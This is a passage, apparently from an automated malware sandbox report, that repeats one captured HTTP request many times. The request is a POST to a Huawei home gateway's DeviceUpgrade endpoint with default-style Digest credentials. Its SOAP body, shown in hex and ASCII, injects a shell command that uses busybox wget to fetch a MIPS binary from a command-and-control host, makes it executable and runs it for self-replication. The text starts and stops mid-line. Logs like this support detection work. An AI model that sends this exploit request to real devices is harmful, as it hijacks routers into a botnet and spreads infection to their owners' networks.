/tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 